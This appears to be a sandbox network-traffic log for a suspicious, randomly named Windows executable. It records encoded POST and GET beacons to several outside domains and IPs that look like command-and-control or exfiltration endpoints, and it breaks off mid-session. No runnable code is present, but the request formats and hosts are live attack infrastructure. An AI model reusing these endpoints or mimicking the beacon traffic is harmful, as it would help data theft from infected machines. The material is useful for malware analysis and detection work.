Nov 6, 2024 08:40:14.842593908 CET	846	OUT	POST /hxmz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.futurevision.life Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.futurevision.life Referer: http://www.futurevision.life/hxmz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 38 63 77 4e 39 6d 4a 58 6b 39 44 55 57 2f 41 6d 76 34 61 42 61 33 46 38 65 66 6c 69 32 38 2f 4f 72 41 69 39 66 71 55 79 42 2f 36 4c 65 78 61 58 6e 45 6b 73 52 42 6a 45 4b 54 49 70 33 2f 52 76 71 47 70 79 76 6b 57 77 65 48 6a 49 4e 41 55 4d 59 7a 2f 66 38 64 51 70 57 74 72 2f 32 79 69 4c 78 43 34 73 58 6b 61 50 64 51 77 46 37 4e 4e 2f 56 4a 54 64 6b 53 42 54 6f 61 43 64 42 46 34 4c 6e 72 48 4c 62 74 65 30 67 71 59 6f 61 34 64 37 54 6f 7a 66 6a 76 52 6a 54 42 74 32 44 57 6f 31 4a 57 49 5a 79 53 65 50 54 77 58 37 71 42 53 65 6b 50 74 39 49 43 73 63 6b 7a 56 2b 67 4e 4d 35 45 71 63 68 59 30 61 70 78 73 57 70 65 46 44 59 4f 4e 71 74 71 2f 65 66 6d 32 49 45 4a 6a 65 70 34 51 3d 3d Data Ascii: DDp=8cwN9mJXk9DUW/Amv4aBa3F8efli28/OrAi9fqUyB/6LexaXnEksRBjEKTIp3/RvqGpyvkWweHjINAUMYz/f8dQpWtr/2yiLxC4sXkaPdQwF7NN/VJTdkSBToaCdBF4LnrHLbte0gqYoa4d7TozfjvRjTBt2DWo1JWIZySePTwX7qBSekPt9ICsckzV+gNM5EqchY0apxsWpeFDYONqtq/efm2IEJjep4Q==
Nov 6, 2024 08:40:15.511419058 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 07:40:15 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49989	203.161.49.193	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:17.389429092 CET	1859	OUT	POST /hxmz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.futurevision.life Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.futurevision.life Referer: http://www.futurevision.life/hxmz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 38 63 77 4e 39 6d 4a 58 6b 39 44 55 57 2f 41 6d 76 34 61 42 61 33 46 38 65 66 6c 69 32 38 2f 4f 72 41 69 39 66 71 55 79 42 2f 79 4c 65 47 79 58 6d 6a 34 73 51 42 6a 45 4a 54 49 6f 33 2f 52 32 71 47 68 32 76 6a 65 47 65 42 76 49 4e 69 63 4d 66 47 44 66 32 64 51 70 4c 39 72 2b 35 53 69 65 78 43 6f 67 58 6b 4b 50 64 51 77 46 37 4f 56 2f 53 59 54 64 6d 53 42 4d 76 61 43 76 51 56 34 76 6e 76 72 39 62 74 54 42 67 61 34 6f 61 65 39 37 65 2b 66 66 76 76 52 32 51 42 74 51 44 57 55 51 4a 57 55 6a 79 53 43 78 54 7a 4c 37 70 6b 4b 49 77 62 5a 6d 64 6a 68 77 77 41 55 55 6a 34 49 6f 41 71 67 69 58 56 75 65 31 4f 4c 4b 5a 46 7a 55 46 62 33 33 6f 4f 4f 47 68 47 31 71 4d 7a 62 58 71 5a 33 43 57 63 42 48 49 6b 75 6e 73 6e 66 6e 62 5a 78 52 6a 4f 59 67 68 6d 6e 33 50 70 35 51 38 6e 45 4a 6d 45 4a 41 59 30 4e 45 74 79 6b 30 31 52 4a 2f 32 6f 48 49 2f 72 39 63 45 64 37 4c 4e 71 55 74 38 6a 67 59 6e 33 67 6f 4e 74 38 4e 6b 42 39 77 50 32 41 48 4e 2b 30 4e 57 6c 4d 70 52 38 73 77 7a 57 6a 76 67 32 4d 6d 4c 43 [TRUNCATED] Data Ascii: DDp=8cwN9mJXk9DUW/Amv4aBa3F8efli28/OrAi9fqUyB/yLeGyXmj4sQBjEJTIo3/R2qGh2vjeGeBvINicMfGDf2dQpL9r+5SiexCogXkKPdQwF7OV/SYTdmSBMvaCvQV4vnvr9btTBga4oae97e+ffvvR2QBtQDWUQJWUjySCxTzL7pkKIwbZmdjhwwAUUj4IoAqgiXVue1OLKZFzUFb33oOOGhG1qMzbXqZ3CWcBHIkunsnfnbZxRjOYghmn3Pp5Q8nEJmEJAY0NEtyk01RJ/2oHI/r9cEd7LNqUt8jgYn3goNt8NkB9wP2AHN+0NWlMpR8swzWjvg2MmLCQiPkmq1nOybW4UG/IflJibWXtAMOgtyIa8OlOXd6OvZUcZeHM1QNVLRfVxf7QqNe/f3tSq2m+2XOM1fvQTmz69qHgsF8KZYH6P6Q+fmvvNTiEJ7h/zWxg1KyH/e4GCX7NZClQ7o4btp6h+bAWtem4X7OOFUhypXVrDpSXyZDvPzVhTIYpt3Y4Moed2nEaBolFDIw7m9O26aFtjRKi9h0lJs1o8liItLYPQIKSKRgVW2rpRgVMZibNGqWH6vmKhPEf8qWJjoyPtqy7fEVdd9hYITwN0BKDpIpXC6R21NMHnJBGSQkOGVCIfy2RM/MzHewJJ69zlBz4ft8OW7CMbYG3aW9gxzMhQVLUGDU8UtKrlisEnFOLOLok6uc1uU5xLsKURByCF8+C7iWe3x0FknNmBnZoHQxxnlWGqVZ2aK7c+5UFESr1poxWVc2ywq66Pmc1EELBj03fQ1o8MXjA+vW7ac0MUOw7T3iyjocT6F4niQTTUDadkL8C1FAMvgHUkVlEy6nXMydnr6YA7IQEaQ5qayTmuSVzukpLX7dEFkA1bLTZSDwZlNco5C/bjScOURkqKacPmaZpiaEJTL5klYbS5EyAYi3F9tWP2cE34W7GrU82L6u5AkPftEGxVOZpGzObDXkQPxU+m7xADUzmOVqtGyjqAH5YD4aBl [TRUNCATED]
Nov 6, 2024 08:40:18.071787119 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 07:40:17 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49990	203.161.49.193	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:19.932594061 CET	554	OUT	GET /hxmz/?DDp=xeYt+TVrluKccowhuJaDBktUUZBiwtnijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H768cQaPGnwmWpoBoTXnujTk0fw5ooQYelqhpppqeWfG8SjK30Qts=&SvrLY=3P8lALA HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.futurevision.life Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:40:20.633265972 CET	548	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 07:40:20 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49991	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:25.759612083 CET	828	OUT	POST /slxp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.schedulemassage.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.schedulemassage.xyz Referer: http://www.schedulemassage.xyz/slxp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 64 70 2b 4d 32 37 4f 7a 59 42 55 42 67 49 50 2b 59 57 57 6b 71 55 59 61 48 4f 42 5a 33 2b 32 69 6d 51 56 2f 41 4c 35 6d 68 39 36 6f 6e 69 69 34 71 78 52 54 42 36 6f 41 50 56 4b 4b 54 6d 46 69 61 2b 59 4d 53 6c 75 52 35 43 45 63 4e 4e 6d 52 75 4a 5a 46 33 74 6f 4b 6e 61 69 49 77 58 36 71 7a 72 65 59 44 6e 73 4e 72 6d 49 45 62 6d 2b 51 4d 57 65 36 53 5a 6e 5a 6c 35 42 41 62 61 42 71 4a 54 7a 64 31 6e 68 51 6a 65 5a 4f 69 79 55 59 32 61 76 35 4d 2f 38 47 59 79 33 66 6a 35 76 70 57 6e 36 33 4a 54 58 57 63 65 31 66 32 42 5a 37 41 2b 70 71 7a 65 31 78 44 72 35 39 4e 41 55 59 34 5a 32 78 4a 6f 4f 31 38 4d 50 5a Data Ascii: DDp=dp+M27OzYBUBgIP+YWWkqUYaHOBZ3+2imQV/AL5mh96onii4qxRTB6oAPVKKTmFia+YMSluR5CEcNNmRuJZF3toKnaiIwX6qzreYDnsNrmIEbm+QMWe6SZnZl5BAbaBqJTzd1nhQjeZOiyUY2av5M/8GYy3fj5vpWn63JTXWce1f2BZ7A+pqze1xDr59NAUY4Z2xJoO18MPZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49993	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:28.310998917 CET	852	OUT	POST /slxp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.schedulemassage.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.schedulemassage.xyz Referer: http://www.schedulemassage.xyz/slxp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 64 70 2b 4d 32 37 4f 7a 59 42 55 42 68 70 2f 2b 64 78 43 6b 6a 55 59 46 43 4f 42 5a 39 65 33 72 6d 51 70 2f 41 4b 4e 4d 68 76 65 6f 6e 47 75 34 34 45 74 54 41 36 6f 41 58 46 4c 41 58 6d 46 31 61 2b 55 69 53 68 6d 52 35 43 41 63 4e 4a 69 52 75 36 78 47 74 64 6f 49 75 36 69 4f 39 33 36 71 7a 72 65 59 44 6a 45 72 72 6d 51 45 62 32 75 51 4e 30 6d 35 4e 70 6e 65 69 35 42 41 52 36 42 75 4a 54 7a 6a 31 69 34 59 6a 63 68 4f 69 33 77 59 32 4c 76 2b 44 2f 39 4e 63 79 32 30 6b 34 53 51 53 55 6a 4e 48 42 2f 4f 42 59 5a 4f 7a 33 45 68 63 4e 70 4a 68 4f 56 7a 44 70 68 50 4e 67 55 79 36 5a 4f 78 62 2f 43 53 7a 34 71 36 70 35 41 49 64 44 70 2b 72 62 6f 4a 4d 48 30 6b 65 30 68 71 74 67 3d 3d Data Ascii: DDp=dp+M27OzYBUBhp/+dxCkjUYFCOBZ9e3rmQp/AKNMhveonGu44EtTA6oAXFLAXmF1a+UiShmR5CAcNJiRu6xGtdoIu6iO936qzreYDjErrmQEb2uQN0m5Npnei5BAR6BuJTzj1i4YjchOi3wY2Lv+D/9Ncy20k4SQSUjNHB/OBYZOz3EhcNpJhOVzDphPNgUy6ZOxb/CSz4q6p5AIdDp+rboJMH0ke0hqtg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49994	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:31.159502029 CET	1865	OUT	POST /slxp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.schedulemassage.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.schedulemassage.xyz Referer: http://www.schedulemassage.xyz/slxp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 64 70 2b 4d 32 37 4f 7a 59 42 55 42 68 70 2f 2b 64 78 43 6b 6a 55 59 46 43 4f 42 5a 39 65 33 72 6d 51 70 2f 41 4b 4e 4d 68 76 57 6f 6e 7a 79 34 70 58 46 54 44 36 6f 41 4a 56 4c 44 58 6d 45 33 61 2b 4d 75 53 68 69 72 35 45 63 63 4d 71 71 52 6f 4c 78 47 6a 74 6f 49 73 36 69 50 77 58 36 46 7a 72 4f 55 44 6e 67 72 72 6d 51 45 62 77 53 51 62 57 65 35 65 35 6e 5a 6c 35 42 63 62 61 42 47 4a 54 37 73 31 6a 4d 49 69 73 42 4f 6a 58 41 59 77 35 58 2b 63 50 39 50 62 79 32 73 6b 34 65 78 53 58 48 37 48 46 2f 77 42 65 6c 4f 78 52 35 4b 44 2b 6c 77 2f 4d 46 75 65 65 6b 6b 4b 6c 38 61 69 50 61 4d 66 73 4b 6b 78 5a 57 78 75 73 70 56 57 31 30 62 6a 38 30 69 53 68 56 44 53 6b 77 61 37 54 6b 34 4f 66 57 31 73 46 4d 50 69 34 50 6f 72 66 37 4d 41 4e 36 62 67 44 4b 37 6b 52 56 59 70 37 67 48 6b 33 6f 36 42 53 62 46 37 5a 4a 41 6f 7a 30 36 45 41 6d 38 58 4a 7a 32 35 77 76 59 78 4d 75 45 2f 41 67 6d 64 49 57 6b 46 39 66 44 37 39 78 66 36 34 57 4f 61 50 63 36 35 68 65 39 69 47 38 4e 74 36 6f 7a 58 30 75 41 43 63 [TRUNCATED] Data Ascii: DDp=dp+M27OzYBUBhp/+dxCkjUYFCOBZ9e3rmQp/AKNMhvWonzy4pXFTD6oAJVLDXmE3a+MuShir5EccMqqRoLxGjtoIs6iPwX6FzrOUDngrrmQEbwSQbWe5e5nZl5BcbaBGJT7s1jMIisBOjXAYw5X+cP9Pby2sk4exSXH7HF/wBelOxR5KD+lw/MFueekkKl8aiPaMfsKkxZWxuspVW10bj80iShVDSkwa7Tk4OfW1sFMPi4Porf7MAN6bgDK7kRVYp7gHk3o6BSbF7ZJAoz06EAm8XJz25wvYxMuE/AgmdIWkF9fD79xf64WOaPc65he9iG8Nt6ozX0uACczOp01fFQY6rRVSB/Zyf8CqsDbpl+MXwtW6O7qRa2ZiznSXugUw0cdMW09V2w699TDEP0lF6mRbfwOprrmV3PV+/4I/k5K1LpI8ZBMmco4G405pgpeAHCXhkVbDsYauMmiTefod+5OAPbFIpbejBqKVX2ESzlLu7I+99oLknD7e6CTHYD6A2HrYaUdSqEahYvNbMtFJW0XRWjw4uWUb8J2I7Snv3m9Fr5i0bwUPmA1rg3IBMrbiTxRHJwl8xZcD2eSjm63c3kTKBdKIS2FedZPrBWv7KXu2i/nT1xL46GkwwpCIS7khin/ZSpM/MvOjP0VB+SMTO2aC7Z7Oh1O4CYnCCKIDzBNeYpwmbVOzmw0OQY4+2CgWBDvQ89HTHzqhpQmcBYzeZG7eQwEsGFWudQFWXJI4eMsfIjM0+d1mYaNZu0i3d8DBZ+XRR7he81yrJ+6Sr0n0RsOVnekvO83NKxUo9p66C0jif4Mu41r6MWdy7hCkG84XmgxzIsZiZEWsSwAxbulo3WbcjKSvIMzIqHPYt+GvV9WI/fSeB7umxlIEIx39flyFEpGcGzyZXykMBP/HKeD9rTF7+axKu5/uAucqCmuCcwze5+l5A/4l5xfrTIuEmfshXMpLxpWaaF58ramB2TqhHSpe1nf6U8IJZZYfXZh1Stc3tZct [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49995	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:33.744096994 CET	556	OUT	GET /slxp/?DDp=QrWs1MGbYyQFoq3pAiasxQ0vJYE0z/vawTZeeI1i8tm8kxeN4mRaIZQqDmSre1AzN9sIeG+PxQ41EL+XqolOifcAo6/043Os1binCTsQtgQiE2XfHHikdfzfjKFZR+NqLzPU/Xw=&SvrLY=3P8lALA HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.schedulemassage.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:40:34.354901075 CET	409	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 06 Nov 2024 07:40:34 GMT Content-Type: text/html Content-Length: 269 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 44 44 70 3d 51 72 57 73 31 4d 47 62 59 79 51 46 6f 71 33 70 41 69 61 73 78 51 30 76 4a 59 45 30 7a 2f 76 61 77 54 5a 65 65 49 31 69 38 74 6d 38 6b 78 65 4e 34 6d 52 61 49 5a 51 71 44 6d 53 72 65 31 41 7a 4e 39 73 49 65 47 2b 50 78 51 34 31 45 4c 2b 58 71 6f 6c 4f 69 66 63 41 6f 36 2f 30 34 33 4f 73 31 62 69 6e 43 54 73 51 74 67 51 69 45 32 58 66 48 48 69 6b 64 66 7a 66 6a 4b 46 5a 52 2b 4e 71 4c 7a 50 55 2f 58 77 3d 26 53 76 72 4c 59 3d 33 50 38 6c 41 4c 41 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?DDp=QrWs1MGbYyQFoq3pAiasxQ0vJYE0z/vawTZeeI1i8tm8kxeN4mRaIZQqDmSre1AzN9sIeG+PxQ41EL+XqolOifcAo6/043Os1binCTsQtgQiE2XfHHikdfzfjKFZR+NqLzPU/Xw=&SvrLY=3P8lALA"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49996	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:40:39.417275906 CET	810	OUT	POST /0598/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.mcfunding.org Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.mcfunding.org Referer: http://www.mcfunding.org/0598/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 67 34 55 68 4f 45 4e 67 4d 38 54 6f 2b 4a 61 35 5a 30 6f 6d 6e 72 43 53 4a 78 65 5a 58 72 43 49 4e 65 6b 76 44 6a 6b 56 6e 35 4c 58 73 4b 58 4f 61 49 54 63 58 44 71 76 66 6a 4a 71 42 71 6e 7a 37 59 4a 4d 65 69 32 41 30 72 53 6f 72 65 46 2f 75 48 62 49 66 64 66 76 69 42 33 4f 54 50 64 64 71 78 31 2f 4a 6b 32 76 5a 46 64 6a 33 6a 67 76 37 45 74 33 52 6d 30 77 71 48 79 77 56 57 6b 70 6a 64 6c 48 42 57 51 72 41 52 51 52 69 77 2f 38 33 4b 6e 78 37 42 32 6e 48 72 34 62 38 31 30 67 76 37 77 6d 6e 57 36 4e 38 5a 4d 63 53 79 53 77 49 2f 56 34 79 69 6a 2f 43 64 63 36 2f 73 46 4e 61 57 32 75 5a 2b 76 59 4a 61 2b 4c Data Ascii: DDp=g4UhOENgM8To+Ja5Z0omnrCSJxeZXrCINekvDjkVn5LXsKXOaITcXDqvfjJqBqnz7YJMei2A0rSoreF/uHbIfdfviB3OTPddqx1/Jk2vZFdj3jgv7Et3Rm0wqHywVWkpjdlHBWQrARQRiw/83Knx7B2nHr4b810gv7wmnW6N8ZMcSySwI/V4yij/Cdc6/sFNaW2uZ+vYJa+L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49997	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
